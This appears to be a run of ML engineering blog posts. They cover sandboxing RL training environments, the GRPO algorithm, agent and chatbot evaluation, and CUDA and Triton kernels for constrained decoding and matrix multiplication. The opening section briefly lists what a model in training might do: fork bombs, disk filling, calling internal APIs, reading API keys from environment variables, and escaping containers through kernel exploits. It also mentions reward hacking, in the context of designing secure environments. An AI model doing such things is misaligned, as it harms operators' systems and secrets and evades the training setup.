2. Resource exhaustion: Memory bombs, fork bombs and disk filling attacks are trivial to generate and can easily overwhelm the training cluster.
3. Security breaches: The model might curl the internal APIs, read environment variables with API keys, or worse.

The risks compound at scale. When we’re running thousands of concurrent rollouts, the probability of hitting an edge case approaches certainty.

Scaling Sandboxed Execution

For efficient RL training, we need to run thousands of environment instances in parallel. For instance, Prime Intellect reports running 4,000 concurrent sandboxes during their RL training.

This creates a trade-off between isolation strength and startup latency:

• Containers (Docker, Podman): Fast startup (often ~10–100ms when warm), decent isolation, but they share the host kernel. A kernel exploit could escape the sandbox.
• MicroVMs (Firecracker): VM-grade isolation with near-container ergonomics; used by AWS Lambda, with boot times often cited on the order of ~100ms in optimized setups. E2B builds on Firecracker to offer sandboxed code execution as a service.

You may also see gVisor mentioned in this space. It’s not a microVM but a container sandbox that intercepts syscalls to reduce the host kernel attack surface.

• Full VMs: Strongest isolation, but slower startup and higher resource overhead—often too costly at ~4,000 concurrent instances.

Most production RL systems end up with hardened containers, and reach for microVMs when they need stronger guarantees. In practice, you usually want the lightest isolation that still keeps you safe—simple arithmetic doesn’t need a VM, but arbitrary shell commands often do.

Practical Recommendations

For prototyping and small-scale experiments:

• Use E2B or Modal — the managed overhead is worth it
• Focus on your environment logic, not infrastructure

For production RL training:

• If you need maximum control: build on Kubernetes + gVisor with custom orchestration
• If you need speed to production: E2B (self-hosted) or Modal with reserved capacity
• Budget ~20–30% of engineering time for sandbox infrastructure if you’re building custom

Beyond Python: The Multi-Language Reality

The sandboxing challenge compounds when we move beyond Python. Real-world tool use spans a much wider landscape, and each domain brings its own isolation requirements:

• Different programming languages: Python, JavaScript, Rust, Go, C++—each with its own runtime, package manager, and execution semantics. Training on Rust compilation errors or JavaScript async patterns requires those actual environments, not simulations.
• Database environments: SQL queries against real engines (Postgres, MySQL, SQLite). Learning query optimization requires actual query planners—mocks won’t teach your model about index selection.
• CLI environments: Shell commands, file system operations, piping, environment variables. These need particularly careful sandboxing given shell’s power to modify the system.
• SWE environments: Full development setups with git, package managers, build tools, linters, test runners. SWE-agent and OpenHands demonstrate the infrastructure complexity here.
• Computer use: GUI interactions, browser automation, screenshot-based feedback loops—requiring display servers and rendering infrastructure.

Each domain requires different isolation strategies, resource limits, and verification approaches. There’s no single solution that covers the full landscape, which is why building robust RL environments remains an active area of infrastructure investment.

Conclusion

We are shifting from curating static datasets to engineering dynamic environments. This turns data preparation into a systems problem: you need sandboxes that don’t leak, verifiers that don’t hallucinate, and curricula that adapt to the model’s progress.

The model will optimize whatever signal you give it. If the environment allows reward hacking, the model will hack it. If the sandbox is slow, training stalls. The difficulty lies in constructing a feedback loop that is both tight enough to provide signal and robust enough to scale. The algorithm matters less than the integrity of the environment it runs in.

References

• DeepSeek-R1: Incentivizing Reasoning Capability in LLMs via Reinforcement Learning - DeepSeek-AI, 2025
• INTELLECT-3: Distributed Reinforcement Learning with Synthetic Data for AGI - Prime Intellect Team, 2025
• AdaRFT: Efficient Reinforcement Finetuning via Adaptive Curriculum Learning - Shi et al., 2025
• AdaCuRL: Adaptive Curriculum Reinforcement Learning - Li et al., 2025
• DOTS: Learning to Reason Dynamically in LLMs via Optimal Reasoning Trajectories Search - Yifan et al., 2025
• Light-R1: Curriculum SFT, DPO and RL for Long COT - Wen et al., 2025
• DeepScaleR: Surpassing O1-Preview with a 1.5B Model by Scaling RL - Luo et al., 2025
• SimpleRL-Zoo: Investigating and Taming Zero Reinforcement Learning for Open Base Models - Song et al., 2025
• RLVE: Scaling Up Reinforcement Learning for Language Models with Adaptive Verifiable Environments - Zeng et al., 2025
• DR Tulu: Reinforcement Learning with Evolving Rubrics for Deep Research - Shao et al., 2025
• CURE: Code Understanding and Repair through Co-Evolving Models - Yin jie et al., 2025
• EvalPlus: Rigorous Evaluation of LLM-Synthesized Code - Liu et al., 2023
• CodeRL: Mastering Code Generation through Pretrained Models and Deep RL - Le et al., 2022
• ToolLLM: Facilitating Large Language Models to Master 16000+ Real-world APIs - Qin et al., 2023
• APIGen: Automated Pipeline for Generating Verifiable Function Calling Datasets - Liu et al., 2024
• SpecTool: A Benchmark for Characterizing Errors in Tool-Use LLMs - Kokane et al., 2024
• Berkeley Function Calling Leaderboard (BFCL) - Gorilla Team, 2024
• MirrorAPI: Imitating APIs via Fine-Tuned LLMs - Guo et al., 2025
• StableToolBench: A Stable Large-Scale Benchmark for Tool Learning - Guo et al., 2025
• OpenHands: An Open Platform for AI Software Developers as Generalist Agents - Wang et al., 2024
• SWE-agent: Agent-Computer Interfaces Enable Automated Software Engineering - Yang et al., 2024
• Faulty Reward Functions in the Wild - OpenAI, 2016
• Recent Reward Hacking Research - METR, 2025
• OpenAI o3 Evaluation Report - METR, 2025
• RE-Bench: Evaluating Frontier AI R&D Capabilities - METR, 2025
• Sakana AI Walks Back Claims About AI Speeding Up Model Training - TechCrunch, 2025
• Self-Training Large Language Models for Tool Use - Luo et al., 2024
• How Kimi K2 Became One of the Best Tool-Using Models - Breunig, 2025
• Why Benchmarking is Hard: Scaffold Effects on SWE-bench - Epoch AI, 2025
• SWE-bench Docker Optimization - Epoch AI, 2025
• How Contexts Fail and How to Fix Them - Breunig, 2025
• verifiers: A Library for Multi-Turn RL Training - Prime Intellect, 2025

Feel free to reach out on Twitter, Linkedin, GitHub, or Mail.

This is a mini blog about understanding the GRPO (Group Relative Policy Optimization) training workflow. This is a missing piece I wanted to read before implementing my own workflow.

Most content creators assume the reader to be aware of GRPO’s predecessors like DPO/PPO and then talk about GRPO, which obviously shoos away the people with no prior RL knowledge. If you haven’t touched RL/Reinforcement Learning before, you are at the right place.

What is GRPO?

GRPO works on the FAFO principle - Fool Around and Find Out. Here’s a brief overview of how it works: it generates multiple responses to the same prompt, calculates advantages for each response, and then teaches the model to favor responses with higher advantages and push back responses with lesser advantages.

Why Advantages?

Although reward is already signalling if a specific response is better, you want to know how better is the current response compared to other responses for the same query. This is where advantages come in. Advantage is calculated by normalizing the rewards with mean and standard deviation.

The core GRPO objective function is:

Alright, it’s big and scary. Let’s focus on the atomic unit from above i.e

Now, let’s convert this to code.

Basically, we are looping over all generated answers $i = 1$ to $G$. And within each answer, we are looping over all tokens $t = 1$ to $\lvert o_i \rvert$, where $\lvert o_i \rvert$ is the number of tokens in the $i$-th generated answer. So, it’s a two-nested for-loop over $i$ and $t$ against $\pi_\theta$.

And the $\pi_\theta$ in the equation simply refers to the log probabilities of the token \(o_{i,t}\) given the query $q$ and the previous tokens $o_{i,<t}$.

Here’s the code equivalent of the above equation:

for each_generated_answer_i in generated_answers: # G in the equation
    advantage = calculate_advantage(each_generated_answer_i)
    for each_token_o_t in each_generated_answer_i: # |o_i| in the equation
        token_loss = pi_theta(each_token_o_t) * advantage

    loss_of_each_answer = sum(tokens_loss_in_answer_i) / len(each_generated_answer_i)

final_loss = sum(loss_of_all_answers) / len (generated_answers) # G in the equation

From the figure 3 below (same as figure 2), we can see that the advantage is calculated at sequence level or answer level. So, for each token, the loss is calculated as the product of the log probability of the token $o_{i,t}$ and the advantage ($\hat{A}_{i,t}$):

Easy! We just implemented the atomic unit of GRPO loss calculation, which is just a two-nested for loop over the token losses of each answer.

where token_loss is the loss of each token in the answer i.e

The Hidden Challenge: Training on Stale Data

So far, we’ve looked at the basic GRPO loss calculation. But here’s what actually happens during GRPO training that creates an interesting challenge:

1. Generate a batch of answers using your current model (let’s say 4 answers per prompt)
2. Calculate advantages for these answers (which one is better/worse)
3. Train on this SAME batch for multiple gradient steps (e.g., 10 steps)

This is problematic because we generate answers ONCE, but train on them MULTIPLE times. This is great for efficiency, but it creates a subtle problem.

Why This Is a Problem?

Think about it: By gradient step 10, your model has changed from all the training. But we’re still using answers that were generated by the model from step 1!

It’s like practicing basketball shots based on a video of yourself from last week. You’ve improved since then, so the video doesn’t represent your current form anymore. This mismatch is called distribution shift or off-policy training.

Here’s what goes wrong if we ignore this:

# Generate answers with initial model
answers = model.generate(prompt)  # Model at step 0
advantages = calculate_advantages(answers)

# Train for multiple steps on the SAME answers
for step in range(10):
    log_probs = model.get_log_probs(answers)  # Model at step 1, 2, ... 10
    loss = log_probs * advantages
    model.update(loss)
    # By step 10, we're calculating gradients as if the current model
    # generated these answers, but it didn't! The step-0 model did!

This leads to increasingly biased gradients and unstable training. Your model might even “unlearn” good behaviors because it’s confused about where the data came from or why are the gradient updates not working as expected as answers remain constant from step 1 to step 10.

The Solution: Importance Sampling

This is where $\pi_{\theta_{old}}$ comes to the rescue. We keep track of the log probabilities from the model that ACTUALLY generated the answers (the “old” model), and use them to correct our loss calculation:

This ratio $\frac{\pi_\theta}{\pi_{\theta_{old}}}$ is called the importance sampling ratio. It tells us:

• Ratio > 1: Current model likes this token MORE than the old model did → amplify the gradient
• Ratio < 1: Current model likes this token LESS than the old model did → reduce the gradient
• Ratio = 1: Both models agree → gradient stays the same

In code:

# Generate answers ONCE with initial model
answers = old_model.generate(prompt)
old_log_probs = old_model.get_log_probs(answers)  # Store these!
advantages = calculate_advantages(answers)

# Now we can safely train for multiple steps
for step in range(10):
    current_log_probs = model.get_log_probs(answers)
    
    # The magic correction factor
    importance_ratio = exp(current_log_probs - old_log_probs)
    
    # Corrected loss that accounts for distribution shift
    loss = importance_ratio * advantages
    model.update(loss)

This correction ensures our gradients remain mathematically valid even though we’re training on “stale” data. It’s like adjusting your basketball practice to account for how much you’ve improved since the video was taken.

Adding Safety Rails: The Clipping Mechanism

But what if this importance ratio becomes extreme? Imagine the current model REALLY disagrees with the old model (ratio = 100 or 0.01). This could cause training to explode or collapse.

GRPO adds a safety mechanism: clip the ratio to stay within reasonable bounds:

With ε = 0.2 (typical value), the ratio can only vary between 0.8 and 1.2. This prevents any single update from being too aggressive, even if the models strongly disagree.

The full GRPO objective with clipping becomes:

The clipping is a conservative approach to prioritize stable training over perfect gradient correction.

# With clipping for safety
importance_ratio = exp(current_log_probs - old_log_probs)
clipped_ratio = torch.clip(importance_ratio, 0.8, 1.2)  # ε = 0.2

# Take the minimum of clipped and unclipped objectives
loss_unclipped = importance_ratio * advantages
loss_clipped = clipped_ratio * advantages
loss = torch.min(loss_unclipped, loss_clipped)

Why Not Just Generate New Data Every Step?

You might wonder: why go through all this complexity with importance sampling and clipping? Why not just generate fresh answers for every gradient step?

This touches on a fundamental concept in reinforcement learning: on-policy vs off-policy training. Let’s understand what they mean.

On-Policy Training (The “Ideal” Approach)

In on-policy training, you generate new data from your current model for every single gradient update:

for step in range(training_steps):
    # Generate fresh data with current model
    answers = current_model.generate(prompt)
    advantages = calculate_advantages(answers)
    log_probs = current_model.get_log_probs(answers)
    
    # Simple, clean loss calculation
    loss = log_probs * advantages
    current_model.update(loss)

This is much simpler and mathematically cleaner - your gradients are always calculated with respect to data that your current model actually produced. No distribution shift, no stale data problems.

Off-Policy Training (The “Economic” Approach)

This is what we saw earlier. In off-policy training, you reuse data that was generated by an older version of your model:

# Generate once with current model
answers = current_model.generate(prompt)
old_log_probs = current_model.get_log_probs(answers)
advantages = calculate_advantages(answers)

for step in range(10):  # Reuse same data for multiple steps
    new_log_probs = current_model.get_log_probs(answers)
    
    # Need importance sampling to correct for staleness
    importance_ratio = exp(new_log_probs - old_log_probs)
    loss = importance_ratio * advantages
    current_model.update(loss)

Interesting Developments in the field

1. KL Divergence disappears

Notice that I didn’t cover the KL divergence term in the objective function. This is because latest research proved that it is not necessary to use KL divergence in the objective function.

If you look at recent GRPO implementations, you’ll notice something interesting: everyone sets β = 0, effectively removing the KL divergence term entirely! It turns out the clipping mechanism we discussed already prevents the model from changing too drastically. Citing Qingfeng’s blog post, “the clipped objective is designed as a replacement of constraint policy optimization in form of the KL divergence term. Thus, adding a KL divergence term is not necessary theoretically”

2. Why GRPO/RL Forgets Less than SFT?

The paper [“RL’s Razor” (Shenfeld et al., 2025)(https://arxiv.org/abs/2509.04259)] show that RL fine-tuning, especially on-policy training, forgets less than SFT, even when both reach the same performance on new tasks. This is great if you are training on a new task and want to keep the original model’s performance on standard benchmarks.

3. Focus on the “forking tokens”

The paper “Beyond the 80/20 Rule” (Wang et al., 2025) discovered that only ~20% of tokens in reasoning sequences actually matter for learning & thinking exploration. These “forking tokens” at decision points drive nearly all performance gains.

Training on just these 20% of tokens not only maintains performance but actually improves it!

Conclusion

This is a lightweight guide to understanding GRPO and RL principles. I hope you found it helpful

Background & Motivation

LLM adoption is rocketing ahead of our ability to systematically track regressions. I once asked an engineer shipping an “agentic hot‑shot” product how they benchmarked it. The answer: “We use VIBES—Very Intelligent Business Evaluation Score.” A manual inspection like vibe-check may work in the initial phases but isn’t suffice in the development cycle. There’s a need for identifying the active players in the development cycle and bridging gaps between them.

Agents’ Non-Deterministic Behavior

Agents are an orchestration of LLMs, tools, memory, and business logic. As soon as you wire in a calculator tool, a single query like 24 + 28 can fork three ways:

1. The agent calls the tool and returns 52—nice.

2. It calls the tool with the wrong schema, then guesses the answer itself.

3. It decides doing math is “small potatoes,” skips the tool, and still answers.

Because this non-determinism makes failures hard to localize, it helps to frame agent development as a three-party juggle (data, developers, and LLMs) and to look for misalignments across them, the Three Gulfs (Shankar et al. (2024)).

Gulf #1 — Data ↔ Developer (Gulf of Comprehension)

When devs stare at numbers on the evaluation dashboards, they’re really just peeking through a keyhole. Let’s go through a few examples to understand why numbers alone can’t provide a narrative of failure modes:

1. Next‑sentence recommendation model

• To evaluate the recommendation model’s performance in real time, we can use a UX (User experience) metric like User Acceptance rate of the sentence suggestions.

Metric-1; Acceptance Rate: % of sentence suggestions a user accepts.

• Another metric can be more nuanced like tracking the number of changes to the accepted suggestions.

Metric-2; Edit Distance: Number of edits made by the User to an accepted suggestion.

When the system is deployed and tracked, users often edited the suggestions. This would mean the model is bad. BUT, in reality, users who write shaky English often edit good suggestions into worse ones.

Outcome: Acceptance Rate tanks, devs panic—until manual review shows the model was fine, the users weren’t.

2. Cursor IDE memory prompts

Cursor launched a new feature where it tries to infer the latent user preferences and store them as preferences.

The model nails relevant recommendations but I keep clicking “Deny” because of privacy concerns or I don’t want project specific preferences to be applied over all projects.

The metric signals failure; reality says otherwise.

Takeaway: Eval Dashboards cannot faithfully reflect the failure modes. Schedule routine manual error dives to ground‑truth what the data really means. Manual error analysis is a pill every developer must consume.

Gulf #2 — Developer ↔ Agent (Gulf of Specification)

Humans are awful at giving precise instructions. Picture a recipe chatbot where the system prompt says: “Suggest easy recipes.” What does easy mean?

≤ 10 ingredients?

30‑minute cook time?

One‑pot only?

From recent performance regression checks against an agent, I observed the token usage to spike by 300% or 3x purely because the instructions were vague and contradictory. Because you were vague, the agent rambles—burning more chain‑of‑thought tokens as it goes into self-monologue to de-clutter the contradictions in your prompt.

Fixes:

1. Write spec tables: attribute · constraint · example.

2. Include both positive and negative exemplars right in the system prompt.

3. Track token usage per request; it’s a cheap regression alarm.

Gulf #3 — Data ↔ Agent (Gulf of Generalization)

No matter how solid your system prompt is, clever users will jailbreak and coax the model into toxicity, policy leaks, or worse. Edge‑cases evolve faster than guardrails. This applies to any downstream tasks. We cannot generalize a model to handle 100% cases.

The Gulf of Generalization will never fully close, but you can narrow it. Monitor distribution drift—who is using your product and how. And iteratively fix your agent.

A Practical Workflow

flowchart TD A[Analyze] --> B[Measure] B --> C[Improve]

1. Analyze: Run the agent on a sample set; label failures. Tag each bug to a gulf.

2. Measure: Turn those qualitative tags into numbers—precision, token cost, jailbreak rate, whatever moves the biz.

3. Improve: Patch prompts, tweak tools, swap models; fine‑tune only when cheaper fixes flop.

Rinse, repeat.

Closing Thoughts & What’s Next

We spoke about the Three Gulfs framework which helps in identifying the possible failure modes and bridging gaps between the three entities (data, developers and LLMs). In the next post, let’s talk about a basic LLM prompting schema and error analysis paradigms.

This piece grew out of a conversation with Niklas Finken.

About

In this post, let’s talk about “interactive evaluations” — a lightweight, automated way to test multi-turn chatbots at scale.

Large language models evolve quickly. A tweak to the system prompt, a new retrieval source, or a model upgrade can silently break conversation flow in ways that one-shot benchmarks never reveal. Interactive evaluations treat your bot like a real chat partner: a User-Agent drives the dialogue with natural follow-up questions, while a Critic-Agent reviews the entire transcript for factuality, helpfulness, and tone.

Background

Imagine you’ve just launched your chatbot, and initial user feedback is fantastic. Soon after, you’re told to add a few tweaks: tightening responses for brevity, adding guardrails to prevent off-topic conversations, or even adjusting the system prompts for better clarity. You confidently make these changes, expecting an even better user experience.

However, a few days later, you notice something troubling - the chat assistant isn’t vibing with users as before. Conversations feel stiff, incomplete, or oddly truncated. Your PM is puzzled, engineers are scratching their heads, and management is beginning to question what went wrong. Without systematic evaluations, identifying the exact cause becomes guesswork at best, potentially leading to further ineffective changes.

Why Evaluations are Essential?

Evaluations systematically track how each incremental change impacts performance, highlighting any unintended consequences. Rather than relying solely on intuition or anecdotal feedback, evals provide actionable insights and clear accountability, making it easier for teams to make informed decisions confidently.

As someone who often threatened or bribed LLMs to get work done, it was quite difficult to know which warnings/rewards got hold of the LLM without evals.

More time I spent in developing chatbot systems and their evals, I realized how relevant software engineering principles are in this context. Specifically, iterating quickly reflects in faster & successful development, removing any guessworks. The success with AI hinges on how fast you can iterate.

For more on how to start building your evaluation systems, I recommend reading Hamel Hussain’s blog.

The Problem: Our Current Methods Fall Short

Yet, despite their clear importance, current chatbot evaluation methods are significantly limited. Typically designed around single-turn question-answer scenarios, these approaches inadequately capture the nuanced dynamics of conversational systems. Let me show you what I mean with a real conversation:

User: Can you share the outcomes of NVIDIA's board meeting?
Chatbot: Ofcourse, can you let me know which year board meeting are you looking for?
User: 2024
Chatbot: Based on my search, I found that .....

In this scenario, the chatbot demonstrates context-awareness by correctly engaging in follow-up interactions. However, traditional evaluation methods would penalize this exchange for not immediately providing complete information in the first response. This oversight highlights a fundamental flaw: conventional metrics simply cannot accurately assess performance across natural, evolving multi-turn conversations.

Here’s the disconnect: your users are perfectly happy with this conversational style, but your evaluation metrics are telling you something’s wrong. You could bring in human evaluators to rate satisfaction, but that doesn’t scale - you can’t have humans evaluate every conversation, every prompt change, every deployment. This is where LLMs come in. What if we could create an LLM that mimics human conversation patterns and systematically talks to your chatbot?

A New Approach: Let Agents Do the Talking

Here’s where things get interesting. Instead of forcing rigid metrics onto fluid conversations, what if we created agents that could actually have conversations with our chatbots? Think of it as automating conversation testing with agents that follow instructions and can scale as needed.

Our framework introduces two key players, each with a distinct purpose:

The User Agent (A curious user)

Think of this agent as your most thorough beta tester. They don’t just ask one question and move on - they dig deeper, ask follow-ups, and explore edge cases just like real users do.

What makes them special:

1. They remember context from earlier in the conversation
2. They ask natural follow-up questions based on what they’ve learned
3. They know when they’ve gotten what they need (or when they haven’t)

The Conversation Critic (LLM-as-a-Judge)

This is a simple LLM-as-a-judge which looks at the entire generated conversation and rates how the chatbot behaved. It evaluates key aspects like:

1. Did the chatbot provide accurate information?
2. Were responses complete without being overwhelming?
3. Did the conversation flow naturally, or were there awkward pivots?

How It All Comes Together

Here’s how a typical evaluation unfolds:

Define the scenario: We define what we need- what questions need answering, what tone we’re aiming for, and what pitfalls to avoid. It’s like giving our agents a character brief before they step onto the conversational stage.

Play the scene: Our UserAgent initiates a conversation, playing the role of a curious customer. The chatbot responds, the agent follows up, and a natural dialogue emerges. Sometimes it’s smooth sailing; other times, it reveals surprising gaps in our chatbot’s abilities.

Critique: At the end, Conversation Critic rates the conversation across each dimension and logs comments.

What can we measure

We can evaluate the conversations the way humans actually experience them. For instance:

Conversation Completeness: Did we actually solve the user’s problem, or did we just throw information at them?

Natural Relevance: Do responses feel like they’re relevant to the user’s query?

Factual Integrity: We track both what the chatbot gets right and what it hallucinates.

Flow and Coherence: Can the chatbot handle when users change topics, circle back, or approach things from unexpected angles?

The Practical Benefits

The shift to this approach brings several advantages:

Scaling conversations: With user-agent, we can scale conversations to thousands of instances without burning out human testers. Imagine starting 1000s of simulations to catch rare and non-determinant bugs.

Real-World Relevance: These evaluations mirror actual user experiences, helping you build chatbots that align with how people naturally converse.

Rapid Iteration: Deploy changes with confidence. Within hours, you’ll know if that new prompt is helping or hurting the chat model’s performance.

Conclusion

Going forward, there’s a need for interactive evaluations. It’s hard but keeps us closer to human experience. As LLMs get powerful and align with human capabilities, it gives us a chance to make evaluations robust and closer to humans.

Constrained decoding ensures language models generate outputs that follow specific patterns or schemas. This is crucial for tasks like API response generation or structured data creation where we need guaranteed syntactic correctness.

However, there’s a significant computational inefficiency in standard constrained decoding:

During each generation step:

1. The model computes scores (logits) for every token in its vocabulary (typically 50k+ tokens)
2. We filter out tokens that would violate our schema/grammar
3. Only then do we sample from the allowed tokens

This means we’re wasting computation on tokens we’ll never use. For example, if we only need to generate “true” or “false”, we still compute scores for all 50,000+ tokens in the vocabulary, only to use just two of them!

Let’s explore three increasingly sophisticated approaches to optimize this process, starting from the simplest case to a fully dynamic CUDA-accelerated solution.

The Three Levels of Optimization

Let’s explore three increasingly sophisticated approaches to optimize this process:

1. Compressing Finite State Machine: Compress the FSM into a compact representation for faster state transitions
2. Optimized Matrix Multiplication: Only compute logits for allowed tokens
3. Kernel Optimization: Use Kernel to parallelize the logit computation

1. Compressing the Finite State Machine (FSM)

Understanding Automata for Constrained Generation

Consider a simple binary classifier that outputs either “true”, “false” or “NA”.

The constrained decoding library outlines would convert this to an FSM graph:

In this automaton:

• Each state represents a step in the generation process
• The initial state (q0) has one transition: "
• The second state (q1) has three transitions: true, false, and NA
• The final state (q3) has one transition: "

Key Optimization: When states have only one possible transition (like q0 and q3), we can skip the generation step entirely and directly emit that token. This reduces our generation steps from 3 to just 1, as we only need to actually generate at state q1.

Let’s take another example from SGLang paper:

The constant text sequence {"summary": " spans multiple tokens in the normal decoding process as shown in Fig. 3 (c), requiring multiple decoding stages, even though there is only one valid next token when decoding it. Therefore, the whole sequence can be decoded in a single step (i.e., forward pass). (SGLang paper)

By the way, if you want to see how a pydantic schema is converted to an FSM, you can use the following code based on outlines:

2. Optimized Matrix Multiplication

Once we have an FSM, we can identify the allowed tokens for each state and only compute logits for those tokens. Instead of the standard computation:

logits = final_layer @ token_embeddings.T

We can optimize to:

allowed_indices = fsm_index.get_allowed_tokens(fsm_state)
logits = final_layer @ token_embeddings[allowed_indices].T

Performance Benefits:

• Memory reduction: Only use embedding weights of allowed tokens. Reduced memory transfers between GRAM and processors/threads.
• Computation reduction: Matrix multiplication size dramatically reduced

Limitations for Batching: My only chagrin with this approach is its inflexibility during batching. When processing batches of sequences with different FSMs, the optimization becomes problematic. Each sequence in the batch may have different allowed tokens based on its current state, which prevents efficient slicing of embedding weights across the entire batch. The need for sequence-specific token filtering reduces parallelism and computational efficiency. Consequently, this approach doesn’t scale well for batched processing in production environments.

3. Kernel based optimization

Instead of modifying/slicing the final layer, we can implement dynamic filtering directly in the matrix multiplication kernel. This approach:

• Maintains the model’s final layer unchanged
• Uses a CUDA kernel to filter logits during computation
• Reduces memory transfers between GPU memory and processors/threads

When implementing constrained decoding in CUDA, we need an efficient way to filter out tokens that aren’t allowed by our finite state machine. Instead of computing logits for all tokens and then applying a mask (which wastes computation), we can filter at different levels of granularity during the matrix multiplication itself.

3.1 Block-level filtering

The first level of optimization can be done at the block level:

1. We maintain a binary mask of vocabulary size (128k) to indicate allowed tokens (1) and non-allowed tokens (0)
2. Before computing the matrix multiplication for a block, we check if any tokens in that block are allowed
3. If no tokens in the block are allowed, we skip the entire block’s computation
4. This dramatically reduces unnecessary work for constrained generation

Let’s start by taking standard matrix multiplication kernel from Triton tutorial and modify it to support the filtering of allowed tokens. In a way, this can be compared to Sparse Matrix Multiplication across columns of final layer weights [768 x 128k].

What’s happening in the code:

1. We first determine which output matrix block is being computed by this CUDA block using pid_m and pid_n
2. We calculate the row indices of A (offs_am) and column indices of B (offs_bn) for the current block in the output matrix C
3. Block filtering step: From the token mask, we load a portion of the mask corresponding to the current block using tl.load(allowed_cols_mask_ptr + offs_bn)
4. We check if any tokens in this block are allowed by summing the mask values
5. If no tokens are allowed (block_has_valid_columns == 0), we skip the entire block computation by returning early
6. Otherwise, we proceed with the standard matrix multiplication for this block

This optimization allows us to skip entire blocks of computation when none of the tokens in that block are allowed by our FSM. For example, if each block has BLOCK_SIZE_N = 32 and our allowed tokens are only [1, 5, 6, 20], only the first block will be active while all other blocks’ computation will be skipped entirely.

Ideally, out of the 32 threads in this block, only 4 threads should be active (corresponding to the allowed tokens) and the rest must be idle. However, for brevity, let’s just go ahead and compute the entire block. Later, we will see how to handle this efficiently.

Filtering at the output level

Since we are computing the entire block of output, (32 columns instead of just 4), we need to filter the output at the end. This is done by using the mask allowed_cols_mask to filter the output.

c_mask = (offs_cm[:, None] < M) & (offs_cn[None, :] < N) & (allowed_cols_mask[None, :] > 0)

3.2 Column-level/Thread-level filtering

Now that we have a kernel that can filter the output at the block level, we can extend it to filter the output at the column level. To address this, we can implement column-level filtering within each block:

1. We use the same allowed token mask but apply it at a finer granularity
2. When loading input data for each column, we check if that column corresponds to an allowed token
3. We only perform computations for the allowed columns. Others are set to 0, which is equivalent to skipping the computation.

b = tl.load(b_ptrs, mask=((offs_k[:, None] < K - k * BLOCK_SIZE_K) & (allowed_cols_mask[None, :] != 0)), other=0.0)

In the code above, we modify the mask condition when loading input data (b) to include (allowed_cols_mask[None, :] != 0). This ensures we only load data for allowed columns, saving time (*hopefully ;) *) on loading data for non-allowed columns.

3.3 The benchmarks

For matrices, A & B of size [1, 3072] and [3072, 128k] respectively, we can see the speedups for different filtering strategies:

The current kernel is only written for batch size 1. I will work on it later to support batching.

As shown in the figures above, we can see that the custom CUDA kernel provides better speedups as the number of allowed tokens decreases. However, the block+thread-level filtering performs worse than the block-level only filtering. Let’s explore why this happens and what it means for optimization strategies.

3.3.1 Understanding Thread-Level Filtering Performance

Despite our initial expectation that finer-grained filtering would yield better performance, thread-level filtering often underperforms block-level filtering alone. This performance regression can be attributed to several GPU architecture characteristics:

• Warp Divergence: When using thread-level filtering, threads within the same warp execute different code paths based on whether their column is allowed or not. This creates warp divergence, where the GPU must serialize execution of different paths, reducing parallelism.
• Memory Access Patterns: GPUs are optimized for coalesced memory access, where threads in a warp access contiguous memory locations. Thread-level filtering disrupts this pattern, leading to suboptimal memory bandwidth utilization.
• Computation vs. Memory Throughput: Modern GPUs can perform computations much faster than they can fetch data from memory. By trying to skip computations at the thread level, we might be optimizing for compute (which isn’t the bottleneck) while introducing memory access inefficiencies (which is often the bottleneck).

These factors explain why the seemingly more precise thread-level filtering actually degrades performance. The overhead of the additional masking operations and the resulting inefficiencies in GPU execution outweigh the benefits of skipping computations for individual columns.

3.3.2 Memory layout considerations

The efficiency of our approach depends heavily on how the allowed tokens are distributed. If allowed tokens are scattered randomly across the vocabulary, we might still need to process many blocks. However, in practice:

• For many constrained decoding scenarios, the number of allowed tokens is small compared to the vocabulary size.
• We can potentially reorder the vocabulary to cluster commonly allowed tokens together, improving block-level filtering efficiency. But this can get messy when we have multiple constraints.

Conclusion

We’ve explored different strategies for optimizing constrained decoding:

1. Compressing the FSM provides a simple optimization with significant speedup
2. Slicing the final layer weights provides good performance gains
3. CUDA implementation delivers performance gains and can handle complex cases

Remember that these optimizations are complementary to the core benefits of structured generation.

Future Work

It would be interesting to explore additional optimizations:

1. Batching the CUDA kernel for handling batched sequences
2. Hybrid approaches that combine different optimization strategies

In our previous post, we implemented a naive CUDA matrix multiplication kernel and identified that it’s not efficient. In this post, we’ll explore various optimization techniques to address these issues and significantly improve performance.

Take a look at the naive implementation again:

__global__ void matmul_naive(float* A, float* B, float* C, int M, int N, int K) {
    int row = blockIdx.y * blockDim.y + threadIdx.y;
    int col = blockIdx.x * blockDim.x + threadIdx.x;
    
    if (row < M && col < N) {
        float sum = 0.0f;
        for (int k = 0; k < K; k++) {
            sum += A[row * K + k] * B[k * N + col];
        }
        C[row * N + col] = sum;
    }
}

Problems with Naive Implementation

Problem 1: Global Memory Access

The main issue with this implementation is the following code snippet:

for (int k = 0; k < K; k++) {
    sum += A[row * K + k] * B[k * N + col];
}

Note: As the matrices, A [M x K] and B [K x N] are large, they are stored in global memory (GRAM).

In each iteration of the for-loop, we are reading twice from the global memory - one element from A and one element from B. This means for each element in the output matrix, we’re performing K * 2 global memory reads.

This is a significant problem because global memory access is extremely slow compared to other types of memory access in CUDA. Each global memory access can take hundreds of clock cycles, making this a major performance bottleneck.

Problem 2: Lack of Coalesced Memory Access

The second major issue relates to how we’re accessing memory. Let’s break down what’s happening:

1. For computing C[0,0], a thread needs:
   • Entire row A[0,:]
   • Entire column B[:,0]
2. For computing C[0,1], another thread needs:
   • The same row A[0,:] again
   • Column B[:,1]
3. This pattern continues, meaning:
   • Multiple threads are redundantly reading the same rows from A
   • Threads are reading B in a column-wise manner

This memory access pattern is problematic for two reasons:

1. Redundant Reads: The same data from matrix A is being read multiple times by different threads, wasting precious memory bandwidth.

2. Non-Coalesced Access: When reading from matrix B, we’re accessing memory in a column-wise fashion. In CUDA, memory is organized in a way that row-wise (coalesced) access is much more efficient. Column-wise access means:

   • Each thread is reading from different memory segments
   • We can’t take advantage of CUDA’s memory coalescing
   • Memory transactions can’t be combined, leading to more separate memory operations

Here’s a visual representation of the problem:

As shown in the diagram above, we have two problematic memory access patterns:

1. For Matrix A:
   • Thread 0 reads all elements in Row 0 ($a_{00}, a_{01}, a_{02}, a_{03}$)
   • Thread 1, calculating the next element in the output, needs to read the exact same Row 0
   • This redundant reading of the same row wastes memory bandwidth
2. For Matrix B:
   • Thread 0 needs to read all elements in Column 0 ($b_{00}, b_{10}, b_{20}, b_{30}$)
   • Thread 1 needs to read all elements in Column 1 ($b_{01}, b_{11}, b_{21}, b_{31}$)
   • This column-wise access pattern is non-coalesced, meaning each thread’s memory access can’t be combined into a single transaction

